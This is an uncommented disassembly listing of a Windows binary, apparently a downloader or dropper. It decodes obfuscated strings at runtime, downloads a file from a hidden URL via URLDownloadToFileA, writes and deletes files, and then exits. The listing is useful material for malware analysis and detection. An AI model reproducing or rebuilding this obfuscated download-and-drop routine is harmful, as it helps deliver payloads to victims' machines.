cmp byte [ebp - 0x511], 0
je 0x420964
lea eax, [ebp - 0xe5c]
mov dword [ebp - 0x6a4], 0xc4d0b1c9
push eax
lea ecx, [ebp - 0x6a4]
mov dword [ebp - 0x6a0], 0xbfd9e3e2
mov dword [ebp - 0x69c], 0xf1ebf7
mov byte [ebp - 0x698], 1
call fcn.00421200
mov ecx, eax
call fcn.0040d2c0
push eax
call edi
add esp, 4
lea ecx, [ebp - 0xe5c]
call fcn.0040d440
lea eax, [ebp - 0x106c]
mov dword [ebp - 0x6b4], 0xc4d0b1c9
push eax
lea ecx, [ebp - 0x6b4]
mov dword [ebp - 0x6b0], 0xbfd9e3e2
mov dword [ebp - 0x6ac], 0xf1ebf7
mov byte [ebp - 0x6a8], 1
call fcn.00421200
mov ecx, eax
mov byte [ebp - 4], 0x46
call fcn.0040d2c0
movaps xmm0, xmmword [0x48e6e0]
lea ecx, [ebp - 0x838]
movups xmmword [ebp - 0x838], xmm0
mov esi, eax
lea eax, [ebp - 0xe74]
movaps xmm0, xmmword [0x48e880]
movups xmmword [ebp - 0x828], xmm0
push eax
movaps xmm0, xmmword [0x48e690]
movups xmmword [ebp - 0x818], xmm0
mov dword [ebp - 0x808], 0x868f80c3
mov dword [ebp - 0x804], 0x9fbbde9e
mov dword [ebp - 0x800], 0x92d8bc98
mov dword [ebp - 0x7fc], 0x1009c80
call fcn.004211c0
mov ecx, eax
call fcn.0040d2c0
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea ecx, [ebp - 0xe74]
call fcn.0040d440
lea ecx, [ebp - 0x106c]
mov byte [ebp - 4], 0x3f
call fcn.0040d440
lea eax, [ebp - 0xea4]
mov dword [ebp - 0x6c4], 0xc4d0b1c9
push eax
lea ecx, [ebp - 0x6c4]
mov dword [ebp - 0x6c0], 0xbfd9e3e2
mov dword [ebp - 0x6bc], 0xf1ebf7
mov byte [ebp - 0x6b8], 1
call fcn.00421200
mov ecx, eax
mov byte [ebp - 4], 0x47
call fcn.0040d2c0
push eax
lea ecx, [ebp - 0x980]
call fcn.0040d510
lea ecx, [ebp - 0x980]
mov byte [ebp - 4], 0x48
call fcn.0041e1e0
lea ecx, [ebp - 0x980]
mov bl, al
call fcn.0040d440
lea ecx, [ebp - 0xea4]
mov byte [ebp - 4], 0x3f
call fcn.0040d440
test bl, bl
mov ebx, dword [ebp - 0x51c]
je 0x4206b3
push 0xb0
lea ecx, [ebp - 0x100]
call fcn.0040abb0
lea eax, [ebp - 0xebc]
mov dword [ebp - 0x6f4], 0xe0d0b1c9
push eax
lea ecx, [ebp - 0x6f4]
mov dword [ebp - 0x6f0], 0xe2f3fffc
mov dword [ebp - 0x6ec], 0xe5fde9bc
mov word [ebp - 0x6e8], 0x100
call fcn.00421240
push 1
push 0x40
push 2
push eax
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x49
call fcn.0040ac00
lea ecx, [ebp - 0xebc]
mov byte [ebp - 4], 0x4b
call fcn.0040d440
lea ecx, [ebp - 0x100]
call fcn.00421480
test al, al
je 0x420a83
mov edx, 0x496268
lea ecx, [ebp - 0x100]
call fcn.004215e0
lea ecx, [ebp - 0x100]
call fcn.0040abd0
lea eax, [ebp - 0xf04]
mov dword [ebp - 0x6d4], 0xe0d0b1c9
push eax
lea ecx, [ebp - 0x624]
mov dword [ebp - 0x6d0], 0xe2f3fffc
mov dword [ebp - 0x6cc], 0xe5fde9bc
mov word [ebp - 0x6c8], 0x100
mov dword [ebp - 0x624], 0xa3fff8de
mov dword [ebp - 0x620], 0xe4eeea
mov byte [ebp - 0x61c], 1
call fcn.0040b170
mov edi, eax
lea eax, [ebp - 0xeec]
mov byte [ebp - 4], 0x4c
push eax
lea ecx, [ebp - 0x538]
mov dword [ebp - 0x538], 0xe287ff
mov byte [ebp - 0x534], 1
call fcn.00421380
push 0x495584
mov edx, eax
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xed4]
call fcn.004100e0
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0x4e
mov ecx, esp
mov dword [ebp - 0x518], esp
push ecx
lea ecx, [ebp - 0x6d4]
call fcn.00421240
sub esp, 0x18
mov byte [ebp - 4], 0x4f
mov ecx, esp
mov edx, esi
push edi
call fcn.00410140
add esp, 4
mov byte [ebp - 4], 0x4e
call fcn.0041efe0
add esp, 0x30
lea ecx, [ebp - 0xed4]
call fcn.0040d440
lea ecx, [ebp - 0xeec]
call fcn.0040d440
lea ecx, [ebp - 0xf04]
mov byte [ebp - 4], 0x4b
call fcn.0040d440
lea eax, [ebp - 0xf1c]
mov dword [ebp - 0x744], 0xe0d0b1c9
push eax
lea ecx, [ebp - 0x744]
mov dword [ebp - 0x740], 0xe2f3fffc
mov dword [ebp - 0x73c], 0xe1f5f7bc
mov word [ebp - 0x738], 0xf7
mov byte [ebp - 0x736], 1
call fcn.00421400
mov ecx, eax
mov byte [ebp - 4], 0x50
call fcn.0040d2c0
push eax
lea ecx, [ebp - 0x998]
call fcn.0040d510
lea ecx, [ebp - 0x998]
mov byte [ebp - 4], 0x51
call fcn.0041e1e0
lea ecx, [ebp - 0x998]
mov bl, al
call fcn.0040d440
lea ecx, [ebp - 0xf1c]
mov byte [ebp - 4], 0x4b
call fcn.0040d440
test bl, bl
je 0x420c5a
lea eax, [ebp - 0xf34]
mov dword [ebp - 0x754], 0xe0d0b1c9
push eax
lea ecx, [ebp - 0x754]
mov dword [ebp - 0x750], 0xe2f3fffc
mov dword [ebp - 0x74c], 0xe1f5f7bc
mov word [ebp - 0x748], 0xf7
mov byte [ebp - 0x746], 1
call fcn.00421400
mov ecx, eax
call fcn.0040d2c0
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea ecx, [ebp - 0xf34]
call fcn.0040d440
push 0xb0
lea ecx, [ebp - 0x318]
call fcn.0040abb0
lea eax, [ebp - 0xf4c]
mov dword [ebp - 0x764], 0xe0d0b1c9
push eax
lea ecx, [ebp - 0x764]
mov dword [ebp - 0x760], 0xe2f3fffc
mov dword [ebp - 0x75c], 0xe1f5f7bc
mov word [ebp - 0x758], 0xf7
mov byte [ebp - 0x756], 1
call fcn.00421400
push 1
push 0x40
push 2
push eax
lea ecx, [ebp - 0x318]
mov byte [ebp - 4], 0x52
call fcn.0040ac00
lea ecx, [ebp - 0xf4c]
mov byte [ebp - 4], 0x54
call fcn.0040d440
lea ecx, [ebp - 0xf64]
call fcn.0041d270
mov edx, eax
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x318]
call fcn.00410b80
lea ecx, [ebp - 0xf64]
mov byte [ebp - 4], 0x54
call fcn.0040d440
lea ecx, [ebp - 0x318]
call fcn.0040abd0
sub esp, 0x18
mov dword [ebp - 0x704], 0xe0d0b1c9
mov eax, esp
mov dword [ebp - 0x518], esp
lea ecx, [ebp - 0x704]
mov dword [ebp - 0x700], 0xe2f3fffc
mov dword [ebp - 0x6fc], 0xe1f5f7bc
push eax
mov word [ebp - 0x6f8], 0xf7
mov byte [ebp - 0x6f6], 1
mov dword [ebp - 0x714], 0xeed0b1c9
mov dword [ebp - 0x710], 0xf8f6e1e1
mov dword [ebp - 0x70c], 0xfceebdf5
mov word [ebp - 0x708], 0xe6
mov byte [ebp - 0x706], 1
call fcn.00421400
sub esp, 0x18
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x714]
push esp
call fcn.00421400
mov byte [ebp - 4], 0x54
call fcn.0041efe0
movaps xmm0, xmmword [0x48e840]
lea eax, [ebp - 0xf7c]
add esp, 0x30
mov word [ebp - 0x83c], 0xff
lea ecx, [ebp - 0x84c]
mov byte [ebp - 0x83a], 1
movups xmmword [ebp - 0x84c], xmm0
push eax
call fcn.00421180
sub esp, 0x18
mov byte [ebp - 4], 0x57
mov ecx, eax
mov esi, esp
call fcn.0040d2c0
push eax
mov ecx, esi
call fcn.0040d510
call fcn.0041eeb0
add esp, 0x18
lea ecx, [ebp - 0xf7c]
call fcn.0040d440
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3